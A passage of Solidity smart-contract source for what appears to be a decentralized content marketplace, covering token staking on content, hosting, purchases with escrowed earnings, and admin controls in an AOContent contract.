if (_isAOContentUsageType) {
require (_baseAO.escrowFrom(_buyer, _host, _hostEarning.paymentEarning));
} else {
// If not AO Content usage type, we want to mint to the host
require (_baseAO.mintTokenEscrow(_host, _hostEarning.paymentEarning));
}
emit PaymentEarningEscrowed(_host, _purchaseId, _totalStaked, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.paymentEarning, 1);
return _hostEarning.ethosAmount;
}
/**
* @dev Calculate the earning for The AO and store them in escrow
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _pathosAmount The amount of pathos earned by stake owner
* @param _ethosAmount The amount of ethos earned by host node
*/
function _escrowTheAOPaymentEarning(bytes32 _purchaseId, uint256 _totalStaked, uint256 _pathosAmount, uint256 _ethosAmount) internal {
(,,uint256 theAOEthosEarnedRate) = _getSettingVariables();
// Store how much The AO earns in escrow
Earning storage _theAOEarning = theAOEarnings[_purchaseId];
_theAOEarning.purchaseId = _purchaseId;
// Pathos + X% of Ethos
_theAOEarning.paymentEarning = _pathosAmount.add(_ethosAmount.mul(theAOEthosEarnedRate).div(AOLibrary.PERCENTAGE_DIVISOR()));
require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.paymentEarning));
emit PaymentEarningEscrowed(theAO, _purchaseId, _totalStaked, 0, _theAOEarning.paymentEarning, 2);
}
}
/**
* @title AOContent
*
* The purpose of this contract is to allow content creator to stake network ERC20 AO tokens and/or primordial AO Tokens
* on his/her content
*/
contract AOContent is TheAO {
using SafeMath for uint256;
uint256 public totalContents;
uint256 public totalContentHosts;
uint256 public totalStakedContents;
uint256 public totalPurchaseReceipts;
address public settingTAOId;
address public baseDenominationAddress;
address public treasuryAddress;
AOToken internal _baseAO;
AOTreasury internal _treasury;
AOEarning internal _earning;
AOSetting internal _aoSetting;
NameTAOPosition internal _nameTAOPosition;
bool public paused;
bool public killed;
struct Content {
bytes32 contentId;
address creator;
/**
* baseChallenge is the content's PUBLIC KEY
* When a request node wants to be a host, it is required to send a signed base challenge (its content's PUBLIC KEY)
* so that the contract can verify the authenticity of the content by comparing what the contract has and what the request node
* submit
*/
string baseChallenge;
uint256 fileSize;
bytes32 contentUsageType; // i.e AO Content, Creative Commons, or T(AO) Content
address taoId;
bytes32 taoContentState; // i.e Submitted, Pending Review, Accepted to TAO
uint8 updateTAOContentStateV;
bytes32 updateTAOContentStateR;
bytes32 updateTAOContentStateS;
string extraData;
}
struct StakedContent {
bytes32 stakeId;
bytes32 contentId;
address stakeOwner;
uint256 networkAmount; // total network token staked in base denomination
uint256 primordialAmount; // the amount of primordial AO Token to stake (always in base denomination)
uint256 primordialWeightedMultiplier;
uint256 profitPercentage; // support up to 4 decimals, 100% = 1000000
bool active; // true if currently staked, false when unstaked
uint256 createdOnTimestamp;
}
struct ContentHost {
bytes32 contentHostId;
bytes32 stakeId;
address host;
/**
* encChallenge is the content's PUBLIC KEY unique to the host
*/
string encChallenge;
string contentDatKey;
string metadataDatKey;
}
struct PurchaseReceipt {
bytes32 purchaseId;
bytes32 contentHostId;
address buyer;
uint256 price;
uint256 amountPaidByBuyer; // total network token paid in base denomination
uint256 amountPaidByAO; // total amount paid by AO
string publicKey; // The public key provided by request node
address publicAddress; // The public address provided by request node
uint256 createdOnTimestamp;
}
// Mapping from Content index to the Content object
mapping (uint256 => Content) internal contents;
// Mapping from content ID to index of the contents list
mapping (bytes32 => uint256) internal contentIndex;
// Mapping from StakedContent index to the StakedContent object
mapping (uint256 => StakedContent) internal stakedContents;
// Mapping from stake ID to index of the stakedContents list
mapping (bytes32 => uint256) internal stakedContentIndex;
// Mapping from ContentHost index to the ContentHost object
mapping (uint256 => ContentHost) internal contentHosts;
// Mapping from content host ID to index of the contentHosts list
mapping (bytes32 => uint256) internal contentHostIndex;
// Mapping from PurchaseReceipt index to the PurchaseReceipt object
mapping (uint256 => PurchaseReceipt) internal purchaseReceipts;
// Mapping from purchase ID to index of the purchaseReceipts list
mapping (bytes32 => uint256) internal purchaseReceiptIndex;
// Mapping from buyer's content host ID to the buy ID
// To check whether or not buyer has bought/paid for a content
mapping (address => mapping (bytes32 => bytes32)) public buyerPurchaseReceipts;
// Event to be broadcasted to public when `content` is stored
event StoreContent(address indexed creator, bytes32 indexed contentId, uint256 fileSize, bytes32 contentUsageType);
// Event to be broadcasted to public when `stakeOwner` stakes a new content
event StakeContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 baseNetworkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier, uint256 profitPercentage, uint256 createdOnTimestamp);
// Event to be broadcasted to public when a node hosts a content
event HostContent(address indexed host, bytes32 indexed contentHostId, bytes32 stakeId, string contentDatKey, string metadataDatKey);
// Event to be broadcasted to public when `stakeOwner` updates the staked content's profit percentage
event SetProfitPercentage(address indexed stakeOwner, bytes32 indexed stakeId, uint256 newProfitPercentage);
// Event to be broadcasted to public when `stakeOwner` unstakes some network/primordial token from an existing content
event UnstakePartialContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 remainingNetworkAmount, uint256 remainingPrimordialAmount, uint256 primordialWeightedMultiplier);
// Event to be broadcasted to public when `stakeOwner` unstakes all token amount on an existing content
event UnstakeContent(address indexed stakeOwner, bytes32 indexed stakeId);
// Event to be broadcasted to public when `stakeOwner` re-stakes an existing content
event StakeExistingContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 currentNetworkAmount, uint256 currentPrimordialAmount, uint256 currentPrimordialWeightedMultiplier);
// Event to be broadcasted to public when a request node buys a content
event BuyContent(address indexed buyer, bytes32 indexed purchaseId, bytes32 indexed contentHostId, uint256 price, uint256 amountPaidByAO, uint256 amountPaidByBuyer, string publicKey, address publicAddress, uint256 createdOnTimestamp);
// Event to be broadcasted to public when Advocate/Listener/Speaker wants to update the TAO Content's State
event UpdateTAOContentState(bytes32 indexed contentId, address indexed taoId, address signer, bytes32 taoContentState);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
* @param _settingTAOId The TAO ID that controls the setting
* @param _aoSettingAddress The address of AOSetting
* @param _baseDenominationAddress The address of AO base token
* @param _treasuryAddress The address of AOTreasury
* @param _earningAddress The address of AOEarning
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _earningAddress, address _nameTAOPositionAddress) public {
settingTAOId = _settingTAOId;
baseDenominationAddress = _baseDenominationAddress;
treasuryAddress = _treasuryAddress;
nameTAOPositionAddress = _nameTAOPositionAddress;
_baseAO = AOToken(_baseDenominationAddress);
_treasury = AOTreasury(_treasuryAddress);
_earning = AOEarning(_earningAddress);
_aoSetting = AOSetting(_aoSettingAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO updates base denomination address
* @param _newBaseDenominationAddress The new address
*/
function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO {
require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0);
baseDenominationAddress = _newBaseDenominationAddress;
_baseAO = AOToken(baseDenominationAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for an AO Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _profitPercentage The percentage of profit the stake owner's media will charge
*/
function stakeAOContent(
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
uint256 _profitPercentage)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, _profitPercentage));
(bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_aoContent,
address(0)
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
_profitPercentage
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a Creative Commons Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
*/
function stakeCreativeCommonsContent(
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0));
require (_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize);
(,bytes32 _contentUsageType_creativeCommons,,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_creativeCommons,
address(0)
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
0
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a T(AO) Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content)
*/
function stakeTAOContent(
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
address _taoId)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0));
require (
_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize &&
_nameTAOPosition.senderIsPosition(msg.sender, _taoId)
);
(,,bytes32 _contentUsageType_taoContent,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_taoContent,
_taoId
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
0
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Set profit percentage on existing staked content
* Will throw error if this is a Creative Commons/T(AO) Content
* @param _stakeId The ID of the staked content
* @param _profitPercentage The new value to be set
*/
function setProfitPercentage(bytes32 _stakeId, uint256 _profitPercentage) public isContractActive {
require (_profitPercentage <= AOLibrary.PERCENTAGE_DIVISOR());
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure we are updating profit percentage for AO Content only
// Creative Commons/T(AO) Content has 0 profit percentage
require (_isAOContentUsageType(_stakedContent.contentId));
_stakedContent.profitPercentage = _profitPercentage;
emit SetProfitPercentage(msg.sender, _stakeId, _profitPercentage);
}
/**
* @dev Set extra data on existing content
* @param _contentId The ID of the content
* @param _extraData some extra information to send to the contract for a content
*/
function setContentExtraData(bytes32 _contentId, string _extraData) public isContractActive {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
Content storage _content = contents[contentIndex[_contentId]];
// Make sure the content creator is the same as the sender
require (_content.creator == msg.sender);
_content.extraData = _extraData;
}
/**
* @dev Return content info at a given ID
* @param _contentId The ID of the content
* @return address of the creator
* @return file size of the content
* @return the content usage type, i.e AO Content, Creative Commons, or T(AO) Content
* @return The TAO ID for this content (if this is a T(AO) Content)
* @return The TAO Content state, i.e Submitted, Pending Review, or Accepted to TAO
* @return The V part of signature that is used to update the TAO Content State
* @return The R part of signature that is used to update the TAO Content State
* @return The S part of signature that is used to update the TAO Content State
* @return the extra information sent to the contract when creating a content
*/
function contentById(bytes32 _contentId) public view returns (address, uint256, bytes32, address, bytes32, uint8, bytes32, bytes32, string) {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
Content memory _content = contents[contentIndex[_contentId]];
return (
_content.creator,
_content.fileSize,
_content.contentUsageType,
_content.taoId,
_content.taoContentState,
_content.updateTAOContentStateV,
_content.updateTAOContentStateR,
_content.updateTAOContentStateS,
_content.extraData
);
}
/**
* @dev Return content host info at a given ID
* @param _contentHostId The ID of the hosted content
* @return The ID of the staked content
* @return address of the host
* @return the dat key of the content
* @return the dat key of the content's metadata
*/
function contentHostById(bytes32 _contentHostId) public view returns (bytes32, address, string, string) {
// Make sure the content host exist
require (contentHostIndex[_contentHostId] > 0);
ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]];
return (
_contentHost.stakeId,
_contentHost.host,
_contentHost.contentDatKey,
_contentHost.metadataDatKey
);
}
/**
* @dev Return staked content information at a given ID
* @param _stakeId The ID of the staked content
* @return The ID of the content being staked
* @return address of the staked content's owner
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
* @return the profit percentage of the content
* @return status of the staked content
* @return the timestamp when the staked content was created
*/
function stakedContentById(bytes32 _stakeId) public view returns (bytes32, address, uint256, uint256, uint256, uint256, bool, uint256) {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
return (
_stakedContent.contentId,
_stakedContent.stakeOwner,
_stakedContent.networkAmount,
_stakedContent.primordialAmount,
_stakedContent.primordialWeightedMultiplier,
_stakedContent.profitPercentage,
_stakedContent.active,
_stakedContent.createdOnTimestamp
);
}
/**
* @dev Unstake existing staked content and refund partial staked amount to the stake owner
* Use unstakeContent() to unstake all staked token amount. unstakePartialContent() can unstake only up to
* the mininum required to pay the fileSize
* @param _stakeId The ID of the staked content
* @param _networkIntegerAmount The integer amount of network token to unstake
* @param _networkFractionAmount The fraction amount of network token to unstake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to unstake
*/
function unstakePartialContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize;
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure the staked content is currently active (staked) with some amounts
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
// Make sure the staked content has enough balance to unstake
require (AOLibrary.canUnstakePartial(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _stakedContent.networkAmount, _stakedContent.primordialAmount, _fileSize));
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
uint256 _unstakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
_stakedContent.networkAmount = _stakedContent.networkAmount.sub(_unstakeNetworkAmount);
require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _stakedContent.primordialAmount.sub(_primordialAmount);
require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit UnstakePartialContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier);
}
/**
* @dev Unstake existing staked content and refund the total staked amount to the stake owner
* @param _stakeId The ID of the staked content
*/
function unstakeContent(bytes32 _stakeId) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure the staked content is currently active (staked) with some amounts
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
_stakedContent.active = false;
if (_stakedContent.networkAmount > 0) {
uint256 _unstakeNetworkAmount = _stakedContent.networkAmount;
_stakedContent.networkAmount = 0;
require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount));
}
if (_stakedContent.primordialAmount > 0) {
uint256 _primordialAmount = _stakedContent.primordialAmount;
uint256 _primordialWeightedMultiplier = _stakedContent.primordialWeightedMultiplier;
_stakedContent.primordialAmount = 0;
_stakedContent.primordialWeightedMultiplier = 0;
require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _primordialWeightedMultiplier));
}
emit UnstakeContent(_stakedContent.stakeOwner, _stakeId);
}
/**
* @dev Stake existing content with more tokens (this is to increase the price)
*
* @param _stakeId The ID of the staked content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake. (The primordial weighted multiplier has to match the current staked weighted multiplier)
*/
function stakeExistingContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize;
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0);
require (AOLibrary.canStakeExisting(treasuryAddress, _isAOContentUsageType(_stakedContent.contentId), _fileSize, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount));
// Make sure we can stake primordial token
// If we are currently staking an active staked content, then the stake owner's weighted multiplier has to match `stakedContent.primordialWeightedMultiplier`
// i.e, can't use a combination of different weighted multiplier. Stake owner has to call unstakeContent() to unstake all tokens first
if (_primordialAmount > 0 && _stakedContent.active && _stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0) {
require (_baseAO.weightedMultiplierByAddress(msg.sender) == _stakedContent.primordialWeightedMultiplier);
}
_stakedContent.active = true;
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
uint256 _stakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
_stakedContent.networkAmount = _stakedContent.networkAmount.add(_stakeNetworkAmount);
require (_baseAO.stakeFrom(_stakedContent.stakeOwner, _stakeNetworkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _stakedContent.primordialAmount.add(_primordialAmount);
// Primordial Token is the base AO Token
_stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner);
require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit StakeExistingContent(msg.sender, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier);
}
/**
* @dev Determine the content price hosted by a host
* @param _contentHostId The content host ID to be checked
* @return the price of the content
*/
function contentHostPrice(bytes32 _contentHostId) public isContractActive view returns (uint256) {
// Make sure content host exist
require (contentHostIndex[_contentHostId] > 0);
bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId;
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure content is currently staked
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
return _stakedContent.networkAmount.add(_stakedContent.primordialAmount);
}
/**
* @dev Determine the how much the content is paid by AO given a contentHostId
* @param _contentHostId The content host ID to be checked
* @return the amount paid by AO
*/
function contentHostPaidByAO(bytes32 _contentHostId) public isContractActive view returns (uint256) {
bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId;
bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId;
if (_isAOContentUsageType(_contentId)) {
return 0;
} else {
return contentHostPrice(_contentHostId);
}
}
/**
* @dev Bring content in to the requesting node by sending network tokens to the contract to pay for the content
* @param _contentHostId The ID of hosted content
* @param _networkIntegerAmount The integer amount of network token to pay
* @param _networkFractionAmount The fraction amount of network token to pay
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _publicKey The public key of the request node
* @param _publicAddress The public address of the request node
*/
function buyContent(bytes32 _contentHostId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, string _publicKey, address _publicAddress) public isContractActive {
// Make sure the content host exist
require (contentHostIndex[_contentHostId] > 0);
// Make sure public key is not empty
require (bytes(_publicKey).length > 0);
// Make sure public address is valid
require (_publicAddress != address(0));
ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]];
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_contentHost.stakeId]];
// Make sure the content currently has stake
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
// Make sure the buyer has not bought this content previously
require (buyerPurchaseReceipts[msg.sender][_contentHostId][0] == 0);
// Make sure the token amount can pay for the content price
if (_isAOContentUsageType(_stakedContent.contentId)) {
require (AOLibrary.canBuy(treasuryAddress, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination));
}
// Increment totalPurchaseReceipts;
totalPurchaseReceipts++;
// Generate purchaseId
bytes32 _purchaseId = keccak256(abi.encodePacked(this, msg.sender, _contentHostId));
PurchaseReceipt storage _purchaseReceipt = purchaseReceipts[totalPurchaseReceipts];
// Make sure the node doesn't buy the same content twice
require (_purchaseReceipt.buyer == address(0));
_purchaseReceipt.purchaseId = _purchaseId;
_purchaseReceipt.contentHostId = _contentHostId;
_purchaseReceipt.buyer = msg.sender;
// Update the receipt with the correct network amount
_purchaseReceipt.price = _stakedContent.networkAmount.add(_stakedContent.primordialAmount);
_purchaseReceipt.amountPaidByAO = contentHostPaidByAO(_contentHostId);
_purchaseReceipt.amountPaidByBuyer = _purchaseReceipt.price.sub(_purchaseReceipt.amountPaidByAO);
_purchaseReceipt.publicKey = _publicKey;
_purchaseReceipt.publicAddress = _publicAddress;
_purchaseReceipt.createdOnTimestamp = now;
purchaseReceiptIndex[_purchaseId] = totalPurchaseReceipts;
buyerPurchaseReceipts[msg.sender][_contentHostId] = _purchaseId;
// Calculate content creator/host/The AO earning from this purchase and store them in escrow
require (_earning.calculateEarning(
msg.sender,
_purchaseId,
_stakedContent.networkAmount,
_stakedContent.primordialAmount,
_stakedContent.primordialWeightedMultiplier,
_stakedContent.profitPercentage,
_stakedContent.stakeOwner,
_contentHost.host,
_isAOContentUsageType(_stakedContent.contentId)
));
emit BuyContent(_purchaseReceipt.buyer, _purchaseReceipt.purchaseId, _purchaseReceipt.contentHostId, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp);
}
/**
* @dev Return purchase receipt info at a given ID
* @param _purchaseId The ID of the purchased content
* @return The ID of the content host
* @return address of the buyer
* @return price of the content
* @return amount paid by AO
* @return amount paid by Buyer
* @return request node's public key
* @return request node's public address
* @return created on timestamp
*/
function purchaseReceiptById(bytes32 _purchaseId) public view returns (bytes32, address, uint256, uint256, uint256, string, address, uint256) {
// Make sure the purchase receipt exist
require (purchaseReceiptIndex[_purchaseId] > 0);
PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]];
return (
_purchaseReceipt.contentHostId,
_purchaseReceipt.buyer,
_purchaseReceipt.price,
_purchaseReceipt.amountPaidByAO,
_purchaseReceipt.amountPaidByBuyer,
_purchaseReceipt.publicKey,
_purchaseReceipt.publicAddress,
_purchaseReceipt.createdOnTimestamp
);
}
/**
* @dev Request node wants to become a distribution node after buying the content
* Also, if this transaction succeeds, contract will release all of the earnings that are
* currently in escrow for content creator/host/The AO
*/
function becomeHost(
bytes32 _purchaseId,
uint8 _baseChallengeV,
bytes32 _baseChallengeR,
bytes32 _baseChallengeS,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey
) public isContractActive {
// Make sure the purchase receipt exist
require (purchaseReceiptIndex[_purchaseId] > 0);
PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]];
bytes32 _stakeId = contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].stakeId;
bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId;
// Make sure the purchase receipt owner is the same as the sender
require (_purchaseReceipt.buyer == msg.sender);
// Verify that the file is not tampered by validating the base challenge signature
// The signed base challenge key should match the one from content creator
Content memory _content = contents[contentIndex[_contentId]];
require (AOLibrary.getBecomeHostSignatureAddress(address(this), _content.baseChallenge, _baseChallengeV, _baseChallengeR, _baseChallengeS) == _purchaseReceipt.publicAddress);
_hostContent(msg.sender, _stakeId, _encChallenge, _contentDatKey, _metadataDatKey);
// Release earning from escrow
require (_earning.releaseEarning(
_stakeId,
_purchaseReceipt.contentHostId,
_purchaseId,
(_purchaseReceipt.amountPaidByBuyer > _content.fileSize),
stakedContents[stakedContentIndex[_stakeId]].stakeOwner,
contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].host)
);
}
/**
* @dev Update the TAO Content State of a T(AO) Content
* @param _contentId The ID of the Content
* @param _taoId The ID of the TAO that initiates the update
* @param _taoContentState The TAO Content state value, i.e Submitted, Pending Review, or Accepted to TAO
* @param _updateTAOContentStateV The V part of the signature for this update
* @param _updateTAOContentStateR The R part of the signature for this update
* @param _updateTAOContentStateS The S part of the signature for this update
*/
function updateTAOContentState(
bytes32 _contentId,
address _taoId,
bytes32 _taoContentState,
uint8 _updateTAOContentStateV,
bytes32 _updateTAOContentStateR,
bytes32 _updateTAOContentStateS
) public isContractActive {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
